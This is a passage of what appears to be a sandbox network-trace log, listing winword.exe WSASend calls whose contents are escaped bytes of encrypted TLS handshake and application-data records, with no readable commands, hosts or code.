  387. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x90ua\\x99`\\xca\n\\xc1\\x16\\x88\\x91>\\xeaj\\xf2(\\xa6\\xc0\\x11\\x1c\\xb0wh\\x83mg\\x8ay\\x1cc\\x05\\xde\\x91\\xb2w\\x18+\\x0e5cf\\xeakw/!!\\xae\\xda\\x97\\xfc\\x1d\\x11@\\xaa\\xbb\\xdf\\xb6\\xf0eh&\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000+\\xa7s\\xe6\\x81\\xdft\\xc1k\\xd2\\x06\\x9b\\xef1lxn\\xaa\\xbb\"`\\x81\\x82es|\\x95\\x0f\\xa6e!y\\xc9x\\xd4\\xc1\\x0ef\\xc3\\xf1\\x04\\x83\\xac\\xa1p\\xf9\\xa6@"
  388.  
  389.  
  390. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x04\\xa7\\xa1\\x0fb`xb\\x06\\x87\\x7f-\\xa2\t)vw\\x12\\xfe|)-_\\xf7\\xb3\\xba\\xf1\\xc9\\xa1\\xb2\\x8fs\\xa7d\\x9a\\xbc%\\x03\\x02\\xea\\x7f\\x1bj\\x8dz\\x18\\xe4d\\x06\\x97\\xccld\\x84\\xaeo2\\xe2)\\x100\\x81\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc1x\\xbb\\x10\\xfdmw1\\xber|\\x1d\rq^\\xaf\\xd5\\xebd\\x18\\xaep9\\xedy7\\xa0\\x8cg\\xf9\\xd2\\xf3\\xc3\\xa4\\x93xf\\xc43.y\\xf2\\x05\\x98\\xe4\\xcc,"
  391.  
  392.  
  393. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbda*\\xe7\\xde\\xee\\x8d\na\\xf2;\\x98\\xe7\\xd2\\xb2\\x81\\x0f\\xf8\\xdc\\x8eo\\xc2>\\x16\\x93\\xe9\\xc2\\xc8\\x93\\xce\\xcb\\xda\\x86<\\x8e\\xaf\\xaf\\xcf\\xeb,\\x01\\xe5\\x10\\xa7a\\xee\\xc9\\x85\\xe0\\x0f\\x8d1;\\xf8\\xffo\\xbb\\xf2_\\xbd*\\xf9\\xb3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x01\\x95w\\xe7\\x11\\xd4\\x0f\\x08\\xffs\\x0f\\xc0yt\\xfe\\x12\\xf9\\xa4\\x9dmi\\x80\\xfb\\xc4=gg\\xc8\\x89\\x9c\\x0c\\xf1\\xb5\\xe5\\x15vrmd:\\xa4\\xf8\\x01\\xcds'z\\xff"
  394.  
  395.  
  396. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8fh\\xcdy\\xb3\\xe7\\xd0ak\\x0e\\x01\\xcf\\xe3\\xa4d\\x10s\\xba\\xc3\\x9a\\xa9o \\xc0\\x06 4\\xde\\xd2w\\x18\\xb8\\xe5o\\xc2s\\xd3\\x93s\\xec\\xb1>\\x19w\\xe6\\x94\\xe3l\\xb1\\xf5\\x08\\x00\\xc5\\x05rsk\\xfa\\xd0pn\\xae\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000$\\xdc4\\xdd\\x91\"\\x19\\xc9\\xc6\\x9b@z\\x9f\\xc5w\\x7f\\x12\\xef\\x9c\\x83\\x977oax\\x7f\\xde\n9ni\\x8c\\xcc\\\\xb7\\x19i>\\xafs\\x1d\\x87,\\xf0\\xa7\\xa4\\xe2\\xa8"
  397.  
  398.  
  399. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04bb\\x8a\\xe3\\xd1gj\\xf5\\x9b\\xed\\xd7\\xe3\\xac\\x7f\n\\xc6\\x96\t\\xb4\\xbe\\xb5eh\\xd6\\x9c\\xc9\\xa2\\x83\\xef\\x90\r8\\xa3\\xcf\\xb2\\xf2aj\\xd5\\xa0_\\x89\\x98g\\xb3\\x94\\xca\\xb16x\\xf1\\xda\\x9cu\\xa1\\x9f6\\x1d-\\x93\\x14\\xec\\xfd\\x82\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x95\\xe1\\x06y\\xe9\\xa14\\x08\\xa5\\xc9\\xd2\\x8e`:\\xa2\\xceur\n|aq\\x05\\xeb\\xe3\\x97e\\xf9\\x03\\xfa\\xc9\\x88\\x94\\xbbi\\x12loq^\r\\xa2\\x85o\\x11g\\x12"
  400.  
  401.  
  402. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04`\\xc7*\\x9d\\xbd<\\x95\n-\\x1e\\xa6\\xad\\xd2\\x1a#\\xc8)\\xe0)\\x95\n\\x7f\\x0b\\xc8\\xeen5!\\xc8\\x16\\xdc\\xf0\\xbfh6\\x84\\x14\\xa3zq\\xd7m\\x7f\\xf3yv?\\xc7rw\\x84\\xa1\\xdbt\\xb1\\x1bvo\\x89\\x9b7\\xba\\xfc\\x13\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf9\\x93\\x13\\xb58\\xdd\\xef\\x11n\\x066\\xfck;\\x8e#:\\xa1vj\\xc6'\\x82\\xf2\\xd5w@\\xd6z\\x846\\xdeh\\xc42|\\x83!\\xd2\\xc9\\xdb\\x08(a\\x94b\\x1c"
  403.  
  404.  
  405. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd2\\x85by\\xe7^\\xc1\\xcf\\xf4\\xa0?2\\xc3\\x15o\\xa4*\\x8c\\x8c*i\\xb1\\xbc\\xd6n+\\x1b\\x85\\xfe\\x1a\\xf7\\xf3\\xad;\\xb1\\xa8\\xea\\x99\\x0b\\xa1\\xda\\x0b\\xf5sy\\x84md\\xd8\\xfdd\\xc5<\\xbd\\x05\\x0e|\\x08f\\xc0\tz8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd1\\xf7\\x01\\xbb\\xd3f\\xe9!\\x90#/\\xd4\\x82u_\\xd5\\xbf(\\xde\\xe8\\xca\\x08\\x16/\\xc0\\xdd\\x00\\x95\\xda\\xc1\\xfdj\\x9d\\xf1\\xc1a\\xde,\\x81\\xad\\x06\\x0f\\xebk\\xf9\\xb1\\xc4"
  406.  
  407.  
  408. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04`3\\xf5\\x01\\x16v0~\\x80\nlz\\x1cz\\xad\\x17\\x86\\x94\\x97%,\\xbee\t\\xbf\\x02|\\xf7\\x8c)fc_6\\x1b\\xea!\\x9a\\x17\\t\\xf9\\xb2\\xd2p\\xf7\\xcf~\\x0e#\\xb3\\xec\\xd5\r#\\xc2\\xd5\\x11a\\x01\\xa2\\xe4\\xb1\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000\\xd0\\xabn\\x9d\\x9b\\x9e\\xfc\\xc9\\xf8\\x93\\xd9f\\xcdb\\xda\\xd0h\\xb3\\xe8\\xb7 \\xe1br\\xb3u\\xff\\xd5@\\xbc\\xd8~6\\x08d\\xe6\\xfb\\xc0\\xf1\\xc4\\x86\\x1b\\xe6\\x05\\xee"
  409.  
  410.  
  411. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x99\\xb8\\xaa4\\xbf\\xb3\\xae\\xfb%\\xae\\xbc\\xdf\\xf9\\x89\\xba=h\\xa1\\xa31\\x05\\xbbv\\xa4\\xce\\xb8\\x02\\xe7\\x8d\\xc7\\xd4\\xdf\\xf3\\xd7\\xe4\\x86x\\xb0\\x81y\\x0fs2\\xd0a\\xf0\\xb323>\\xfa\\xa4l|s\\xe4\\xb1j\\xab-\\x1a@\\x84\\xe8\\xa40\\xb7\\xb3t\\xdf+e ig7yf\\x00;%\\xa6z,\\xbe8\\xe4\\xeb\\xbbak\\xe1\\xfe\\xa4\\xdfn\\xa8+l_\\x19\\xbc\\x9ap\r6\\xf8\\x97\\xff\\xb0_\\xd8on\\x94\\xff\\x81\\x8a20\\x87\\xd2\\x0c\\x0f\\x01\\xd1\\x81a\\x84\\x88e\\xb7\\xfc\\xad\\x96\\xb8\\x1a8ek\\x14\\x14\\xe16g\\x94x\\x96v\\xaa.\\x84\\x9b\\xbb\\xce\\xadg\\xe4g\\xfd_\\xda\\x0c\\xc0\\x91\\x9c\\xdey\\xff?\\\\x95\\x0ck\\xd4\\x80v\\xcb\\x02j\\x97\\xb7\\x9c\\xb6\\x9b\\xedj\\xf7l\\xd0\\x078\\xc9\\xbb\\xfe\\xcc\\x92\\x9d\\xdb\\x19\\x9ak\\x7f\\x8e\\x0b\\xb7\\x0f\\xdb\\x11d\\x01p \\xb8\\xa0\\xfd\\x86\\x94\\x12d\\x95\\xb1r\\x95\\xac\\xb55\\xd9\\x19\\x0c\\xb1\\xf4wm\\xf1\\xf9\\xe9$\\x14|\\xd3 \\x07;a"
  412.  
  413.  
  414. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x12\\xb4\\x9b\\x98\\xcd\\x01\\xa8\\x03k\\xcb,z*q\\xd2|9\\x8a\\x15i\\xe6s\\xb0\\x96rb\\x15\\x96\\x12*\n'\\x17\\xaft\\x17\\xab&\\x0fk\\xc3\\xd2n\\xc6\\xab\\xa9\\xe0\\xedn\\xd6\\x19\\xf5?5\\xdc_z\\x87z\\xf6\\x89\\xd7\\xb0\"\\\\x9a>\\x0cxq\\x8e,a\\x1b\\xf5\\xa7\\x04p\\xdb\\x80\\xc0b\\xb8k\\x8ai|\\xfb\\xc4\\xb9\\x8c\\xb4\\xbb\\xdd3\\xa9~\\xd2\\x80b\\xb9\\x10\\xe4\\xab\\xa4\\xb8\\x030im\\xefz\\xa4\\xd4\\xf2\\x9b\\x10\\x99\\xf8\\x14\\x97\n\\xac\\x89m\\x15(\\xf8@\\\\xd4j\\x81\\e\\xbfj\\x93\\x1e~\\x03\\x9e\\x17p=15^+\\x7fc\\x87.\\xd7\\xbfg\\xea\\xbe\\x1f\\x07\\xbe\\xe1\\x15`\\xdd\\xef\\x0e\\x9f\\xb5k\\x91x\\xb4\\xc5\\x90@\\xb0\\xad\\xacq\\xc7\\xda\\x03\\x18\\xaa,l\\xbe\\xa3+\\xf3h\\xfe\\x8e\"\\x08x\\xc8\\xa9\\xd1\\xd04\\x06\\xe6s\\x9e\\xe3\\x84a\\x98m\\x93!\\xc7\nw\\xbf\r\\x0c\\x92\\xca\\xe8\\x06\\x99m\\xab\\x80l\\xd4r\\x0eh\\xdd'\\xf8\\x10\\xc2\\x9d%\\xf7\\x82\\xc0\\xeb\\xb5"
  415.  
  416.  
  417. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98x\\x83\\x8b\\x0b\\x94\\xb9\\x1cr\"\\xa4\\xa7w\\xdby\\xcc\\xbe\\xb2\\xe1\\x85p\\xf0\\x18\\xdc\\xfa\\xb8\\x8a^\\xfc\\xba\n\\xccv\\xc1\\xd9\\x8d\\x16\\xde\\x9d\r$\\x96\t\\x99\\xf7\\xbf\\xa9\\xfe\\xe7e\\x88\\xc4o\\xca\\xb2\\x8e\\x06n\\xae\\xdb\\xb0t.\\x81\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0007kc5\\xa0\\xcb\\xbf\\xa7ogr\\x05\\xfe5\\x96\\xd1h\\x0f\\xb9\\xd6\\x06x\\x8c\\xf8\\xed\\x7f\r\\x1a\\xcbm\\xf5\\xd9\\xe3\\x1ds\\xd1\\xd3fx2\\xdf\\xda\\x87\\x1ao\\xed\\xb9"
  418.  
  419.  
  420. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd4l\\xfat\\\\x17\\xe1\\x9e+p\\xfc!\\x04\\xd7\\xa0\\xa5g\\xbf@<'\\xd7\\x9e\\xc8\ti\\xe8&\\x98\\xa4\\xa2\\x83\\x089\\x17j\\x8eb\\xc2\\xcc\\xd2j\\xf4\\xc0\\xbe\\xf2\\xe1\\x0c\\x07,f\\xd7x\\xed\\xf8\\x94\\xf0\\x0f\ny\\xe9\\xa6\\x9a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000%\\xe5l\\xb7&7-\\xca/%\\x05j\\xeed\\xd1\\xbd\\xd4u/\\xb6\\xf0\\xa9\\x0e\\x00f\\xb8\\x90\\x07)\\xd5\tr\\xf9\\xb7\\xcd\\xdf^\\x98\\xf9~r\\xb7\\x1d\\xcb\\xda\\xe3\\x81"
  421.  
  422.  
  423. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x19\\x00\\xce0\\xed\\xe1\\x0e\\x1c>#\\x06\\xb0\\x8c\\xe44%\\xa7\\x99\\xect\\x06\\x17\\xf4p\\xa3k4\\xfaft\\xcd\\x9e\\xda\\xb9\\xe0x$\\x96\\xc1l\\xc3)\\x8f\\xca\\xce\\xe2>\\xe1\\x1d\\xaa\\x81(\\x8b7\\xa2@\\x1f\\x8b\\xdf\\xbd\\xe3\\xf6p\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe1\\x17or\\xa8wo+c\\xfb\\x02\\xfan\\x93\\\\xb4\\xf29xf\\xba\\xbb\\x1f/<!\\xa0z\\x0c\\xcfq/`r\\xa15\\xf3y\\xfd\\x9a\\xd6\\xe2lpxg\\xbeq"
  424.  
  425.  
  426. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04$\\xce\\xc5\\xa0\\x06$\\x8e+\\x08\\xf2\\x08vfu\\x0f/\\xe2&\\x04\\xb2>\\xbc\\xae\\xed\\xd8.\\xeduc\\xb6`\\x11&\\xd5\\xbf\\x9fe\\xae\\xd5\\x91\\x16#\\x92d\\xf2=3\\xe4\\xfd\\xf6lwc3z\\xdam\\xc71\":\\xb1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfe\\xe4\\x82b*\\x8f\\x97\\xd9\\x19\\xd4;%\\xa8w\\xb9g\\xbe9\\xa7\\xf4~q\\xf5\\xca\\x82\\x08\\x8a\\x949*\\x03\\xb9\\x1d\\xc5f\\xd4\\xe8\\xaf\\xa4\\x9b?\\xc1s\\xb3\\xcb\\xe99\\xb8"
  427.  
  428.  
  429. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x15\\xa6d9\\xb8\\xb9\\xd1\\x18\\xad\"x>j\\x86b\\xc6g\\x85e\\xa2\\gzi\\xdfpo\\xdb%m\\xd0\\xee\\xd1\\x84u\\xb5\\x1e6h&w&\\xeez\\x87\\x82\\xe5\\xfc'\\xf3\\x04\\xbffr\\x81\\x80\\x92\\xe1\\xe9\\xbd\\x04\\xe1\\xa0\\x03\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe3pj40m\\x81\\x06\\x02\\xd9\\xaau/\\xb7\\x17\\xee\\xe8r\\xb3\\xe2\\x9d\\xc34\\xff\\x1bb\\x92lqb\\xd7)\\xeex~\\xfb>i\\x03\\xe7\\xfc\\xf5h\\xe8\\xef<z\\x12"
  430.  
  431.  
  432. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf7\"9\\x00\\x89\\xbak_1<\\x1d?\\xcf6u\\xf0o\\x92\\x95\\xc0\\x96\\xd5\\xc1\\x19\n\\x9ev1\\x82\\xed&\\xfe\\xed%m6\\x89\\xd8,\\x8fst\\xaf\\x8esng\\x8a\\x89\\x81\\xc7\\x98\\xab\\x98t\\xdbg\\xaa4e*\\xccr\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbe\\xa7\\x04l\\x9f:,\\xf2\\xaa^<4mm'\\x0c\\xc1\\xc2\\xccz\\xccp\\xcal\\xfc\\x97n\\xf7\\xf06\\x85\\xd3\\xe0 \\xacnyt6p\\xc1@\\x08\\x83\\xe2/\\xe4"
  433.  
  434.  
  435. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04wz\\xc6\\xfd\\xd7\\xffzqd;wo\\xe3\t\\xb8\\xe5x\\xd3=\\xc1\\xa8l\\xc0\\xa1\\xc8\\x18\\x96\\xc9\\x99\\xd6\\xdc\\x1f=v\\x9d<\\xdc\\xd7#:\\x1el\\xaa\\xb8\\xdf\\xff\\xa1\\xd8\\x98'\\x97\\xc0\\xd3\\x8e\\xaa\\x1c\\xec\\xc9\\x01\\xb8\\x9d\\x0e-\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcdt\\xb6\\x84\\xf5ho\\x8e\\x9d\\x13\\xb0\\xb1*\\xb8j\\xf7\\xee,e\\x0ep\\x11\\xd7\\xa1\\x94mu\\x97\\xa5%\tw\\x86`j\\xea\\x94\\x89qd\\x17:z \\xa0\\xef\\x03"
  436.  
  437.  
  438. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\xb9\\xa2\\xbd\\xcf\\xac?\\xd0\\xcb\\xb91&\\xa3\\x8c%\\xc2\\xe9\\xc2\\xf9\\x8d\\x95b.\\xd6\\xf3\\x18\\xc4le\\xc6\\xf07+\\x03kxu\\x0e\\xaa\\xe8bm\\x92l%\\xcc\\x12n\\xd0t\\x91\\xc3\\xb7\\x08\\xd2\\xc9\\x17\\xa9;\\x8a\\xba\\xdf@\\xa1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd0f\\xe8\\x8c\\xbe\\x93\\x87\\xff0\\x8b\\xe0\\xddh\\xdd\\xd0\\xe8fe\\xb1\\x94x\\xf8pg\\xaa1\\xccb\\x82\\xa9\\xcc\\xf9\\x91q\\xe2\\xed\\x9a\\x91\\x94b\\x0b@\\x836\\x88f\\x18_"
  439.  
  440.  
  441. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa1n\\x10\\x99\\xff:\\xd2\\xf4\\x93\\xc2n\\x04\\x82\\xac\\x80\\xf3d\\x06\\x88l\\xc4\\xbf\\xa0(\\xecv\\x10\\xe4\\x04na\\x89\\xae\\xbd;\\xf1\\xcf\\x93\\xa9\\xd7\\x91\\x1da\\x1e-\\xf5\\xb5~\\x10\\xaf\\x87\n\\xc7\\x05\\xedy@?7\\xd4\\xf1\\x10\\x0e\\x8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x11\\xeb\\xa4\\x15\\xac\\xc7\\x04o&\\xb8\\xf9\\xeen\\xbe`\\xc0\\xf5r\\xddo\\x0e\\xfd_\\x18\\xe0\\x04\\xbc\\xf9^\\xcf\\xd3\\xb4\\x97\\x98.\\x18\\x0ctd\\x83\\xc8\\x17\\xac.\\xd5\\x86he"
  442.  
  443.  
  444. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd7\\x99\\x1d\\xa2\\xcb\\x83\\xd18q%\\xf5b8\\xf2\\xb9?\\x8e3s\t\\x14\\xd5%\\xa2\\x1cml\\\\xed)\\x85\\xca\\xbf\\xe8\\x1f\\x01\\xe4oa-\\xc0a-n'\\x16:\\xe6\\xc7\\x98i2u\\xcbp\\xaf\\xdf\\xeb\\xa2\\xd5\\xfc\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000@\\xdbu\\x0f\\x03\\x0b\\xd9\\x06\\x9f\\xf4\\xc6\\xf9\\x8fde\\x93\\xb9z\\xc1\\xf3\\x1f\\x0c+pu\\xf4\\xad\\xe2q\\xb0\\x1a\\xe7p\\xd2o\\xfe\\x19\\xbd\\x92\\x81\\x8du\\xbe\\x99\\xaf\\xce\\xf9\\xf5"
  445.  
  446.  
  447. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa0\\xfb~16\\xfez\\xd4\\x8a'@\\xe4\\x1f\\xb0\\xbe_\\xd5c\"\\xe3\\xb8'2\\xef\\xbe`\\x03\\x9f3\\x05%i\\xb6\\xdc\\x18yx\"\\xc8\\xa4\\x0b\\xfb\\xc6g\\xe7\\xb7\\xe5;\\x9f\\xfe\\xf0\\x93\\x1c\\xbc\\xbd\\xbe\"\\xba\\xbe\\xff\\x01\\xde\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000q\\xe8\\xd2\\xe2\\xabd\\x92;gv:k;\\x172\\xac\\x9fc\\xfe\\xe5\\xcd\\x82\\xea\\xf6\\x8d\\xad\\x83\\xc81e:a\\xfb\\xc6i\\x1f\\xa4\\xf7\\x9a(\\xfb\\x98h\\x9e\"^pv"
  448.  
  449.  
  450. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x047wi2\\x1c\\xd5\\xe4\\xc8\\x8f\\xf0\\xba\\xc2\\xf5\\xdae\\x99\\x887+\\xfb5\\xa3f\\xa7\\xbd\\xfc\\xaab7\\xf7f\\xe2\\x8b\\x9dz5\\xed\\xc1~d\\xc3\\xf3\\x9e_u4l\\xe2^\\x1c\\xce\\xd0<1\\x8e9\\xa3\\xa4\\xd0\\xdb\\xd19 \\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0004e\\xa1\\x17ga9\\x10\\x9au5\\xb2x\\x11\\xd0\\xc8r\\xc4\\xed\\x1b\\x00\\xdb\\xfe\\x8e~\\xdbjb_\\xf48\\x9b\\xe39&s\\x88h\\xb0ul\\xea~\\xb4a\\xe4"
  451.  
  452.  
  453. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x92t\\x96\\x02\\x98\\xb3ht\\x829h\\xc5p\\xd6n=\\xcc\\x8am\\x8c\\x12\\xacg\\x90\\x1be\\xb1\\x0b\\x86\\xd3\\xd8|1\n5\\xe8\\xaf\\x1f\\xb6\\x80a\\xa9i\\xa8i\\x17>\\x03\\x06\\xdcn\\xac\\xc6\\x1f\\x0b8xql\\xa4\\xd9\\xd7\\^\\xd2\\xbb\\x0c\\xa0\\xc1\\xc6\"=\\x016\\xb8\\xb9a\\x15'\\xbba*>\\xac\\x86\\xc5\\x86\\x00d\\xf7\\xed\\x07\\x0c\\xb8\\xd9\\xcd:\\xf0\\xd2\\xa2\\xb1e\\xe1h\\xa0\\xa0\\xb1\\x9a\\xdd=\\x9a\\xfb\\xed\\x94\\xdb\\xc9\\xea\\xed\r\\xf44l\\x04\\x97\n,\\x1a\\xe9v.\\xb8:m\\x98\\xcbuv\\xf0\\xfe`\\xde\\xf9i\\xa2\nt\\xd13:\\xf4\\x0b\\x04\\xd9\\x95\r\\xf9\\x9b\\xf0o\\xf1\\x85\\x99f9\n\\xd9\\xbd\\x13\\x19vp5\\xf9\\xcckr1l\\xe6\\xb92\\x13mm\\x81\\xef\nr\\x98\\xddy\\xc0r\\xae\\x02w\\xaf\\x1d5\\xd8)c\\xeb\\xfeq#\\xf2\\xee\\x8bo\\xde\\x13y%n\\xed\\x8fk\\x0c\\x89\\x96d\\xe5q\\x1f\\x98\\x18v\\x89h\\x14\\xbaqv\\xea\\xd2\\xb1\\x9a\\xd2\\xb1&\\xee\\x00fkv\\xe9"
  454.  
  455.  
  456. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0104\\xa1\\xd0\\gb\\xf5\\xbd\\xf4t2\\x88\\xfd\r\\x02\\xdb\\x04\\xbb\\xb2\\xd5\\x03\\xfa\\xcb\\x18\\x14\\xa8\\xe8\\xe6\\x8b\\x7fa\\xa6\\xd4n\\xba\\xe8:1\\xfe%\\xb7\\x0bp\\xb1ry\\xd7\\x12=\\x8e\\xfdwi\\x08\\x130 \\xe4=\"\\x87<\\x05\\xf0\\x8e\\xa6\\xaa\\xa5\\x1b\\x11w\\xc7\\x01\\x12nk0\\xe6cc\\xb1u\\x07\\xdb\\x8d\\xc3.\\xea\\xc5\\xb2\\x8f\\xd4\\xf7\\xf3\"y\\x15\\xa4,\\x13x\\xe5!\\xcd_\\xc9t\\xd3\\xa7f\\xae\\xfd\\xb5\\x98\\x03\\xc1\\xa7\\x8e \\xba\\x00\\xd9\\xc4\\xcd\\x8bm\t\\x9bj\\x08\\xe6\\x8a\\xabg;/g\\xc2\\x81k\\xf5\\x1a\\xac\\x08of\\x07\\b\\x1f\\x8e\\xda\\xc0\\x8e\\xfc\\xa0\\x7f(\\xb8\\x9f\\xf2.b\\x05k\\xc9\r\\x98\\xf7\\xfb<\\xe1\\x00q\\x85\\xf5\\x167\\xca\\xacu\\xa6\\xe6\\xa5l\\x06u'\\xe0\\x1crq\\x95vm\\xe0\\xac\\x96\\xb9\\x8b\\xc8b\\xe3\\xba\\x00\\xbe\\xb47>`*0\\x16/\\x06\\xa5m\\x8e\\xb9`\\xb8g\\xd8x\\xb98rrx\\xe1\\xce\\xbe\\xbe\\x8d\\xe07\\x00\\xb8c\rt\\x7ft\\x84%\\x14\\x93"
  457.  
  458.  
  459. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe5\\x00\\xeb/\\xfc\\x8d\\x17\\xb9(o\r\\x7f\\x16hk\\xd2~\\xe3\\x95\\xc1%\\xdd\"\\x88\\xcb\t\\xc5y-\nu e\\x0cx\\x178&\\xe2p\\xd6-\\x98*i\\x87\\xdd(_,b`\\xccw\\xb5\\xa4\\xb1f5\\xe1\\x87osu\\xadv\\xb2\\x9b\\xa5\\xbc\\xc8\\xa1\\x86\\xf4`u\\x08v\\xda\\x00_7\\xf0\\xb7(\\x82n\\x96\\xfe/d\\x83mh\\xa5d?\\x9b\n\\xa0\t\\x81\\xf9\\xd80\\xcee\\x8c\\xea\\x135\\x9a\\x9a\\xb8\\xc4 \n\\xcc\\xb2p\\xd8\\xaf\\xe3`uo\\x04\\x83\\xe1\\xa2\\xa00\\x96\\xa1\\xfaa\\x99\\xd8\\x87~\\xbf\\xc8\\xd7k\\xd5\\xfd\rt\\xee\\x85(#\\x8d\\xffq\\x17.\\xfb:\\xba>;\\x94)\\xd5x\\x19\\x88\\xeem\\xf4\\x86\\xc98\\xff\\xd3\\x87g\\xcfe\\x96\\xda\\xc6\\xad\\xc7l\\xb8qrm7\\x96yl\\xd1\\xf4\\x8f\\x1d4\\x9c\nqxo3b\\x9e\"\\xe5g\\x00\\xe5\\xaf\\xf3\\x07/\\xe3\\xfe\\x82s\\xfc\\xe8\\x9a\\x10\\x1f\\x7f|5\\x1f\\xae\\x19\\x84c\\x18\\xf7\\x04\\x7f\\x90r\\xac#g\\xa8\\xab\\x17\\x8f\\x1c\\xcf\r\\xe0\\xb5"
  460.  
  461.  
  462. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdb\\x05^qm\\xac \\x1ag\\xde\\x8atsh\\xa4k5\\x11\\x89wh\\xcf2\\x9fd\\x8a\\xaemi\\xban\\x9d\\x7fw\\x84\\xd5k\\x05\\xde\\xc3v\\xcc\\xa7r\\xaa\\xd9\\xf5\\xcc\\x10\\xa9t\\xa0\\x0c\\x04\\xb5#\\xa0f\\xea\\x12\\x93\\x1c3\\xa4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x01\\x1b\\xf6\\xff\\xf43\\xb4\\xed\\xea$8d\\xb9\\x92\\x80\\xd2\\xa7qs\\xd15wip\\xf6\\x8cf\\x8a\\xf4x1\\x13\\x87\\xea\\xd4ycm\\x93\\xa9+\\xc34\\xa6\\x1b\\xcf.\\x93"
  463.  
  464.  
  465. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\"be\\xc2v\\x1e=\\xd37\\x82\\x18\\xc8<\\xa6\\xf2\\xdd\\xbb\\xcf\\x12\\xfcb\\x99m+\\xb80\\x92\\x07\\xd6\\xf2|\\xe9\\xb8\\xf6,-z\\x18\\xf4\\xaf\\x85\\xee\\xdd\\xa9\\x846\\xd5~>\\xc4x\\xab\\xa3\\xdb\\x8b\\xd8\\x7fj\\x12<\\xb6\\x0e\\x99u\\x9b\\xc1-p\r\\x94\\xd9\\xd6\\xbcm\\xac\\x80t\\xc0\\x82\\xa6\\x0b\\x08\\x141o\\x89=y\\xb9\\x87\\xbd8\\x91\\xff\\x13-w\\xc6!\\xb2:\\x98v\\xc9\\0\\x91\\xaa\\xb7\\x00\\x80\\xa8\\xbc\\xfcw1\\xc4\\xdew\\x91\\xfb\\xf6\\x99\\xfci\\xca\\x18a\\xe2\\x87@\\x08\\xa6\\xe0\\x02vz\\xd0\\xf8\\x0b\\x8f\\xcf;o>j>\\xf8y\\xf7\\x9cx\\xd4\\x0bg\\xaa\\xfen\\x0f\\x1f\\xear\\xa9\\xed|9:d\\x11\\xc8v\\xeb\\xad\\xaf\\x86\\xb4\\xa1\\xab\\x1c\\xb5\\xf43\\xdfa\\x17et\rcs^\\xbfji\\xe8\\xaeu\\xbdr\\xee82>\\x1c\\x10l;n7\\x10^|\\xc3\\x99\\x8d\\xe8\\xbe9\\xb3\t\\x04\\xf5\\x95\\x8bl\\xca|\\x1e\\xc1a\\x83\\x19\\\\xf3!;\\x8490\\xd2\\xf3\\x90;\\xd3\\xbde\\xc1\\x17="
  466.  
  467.  
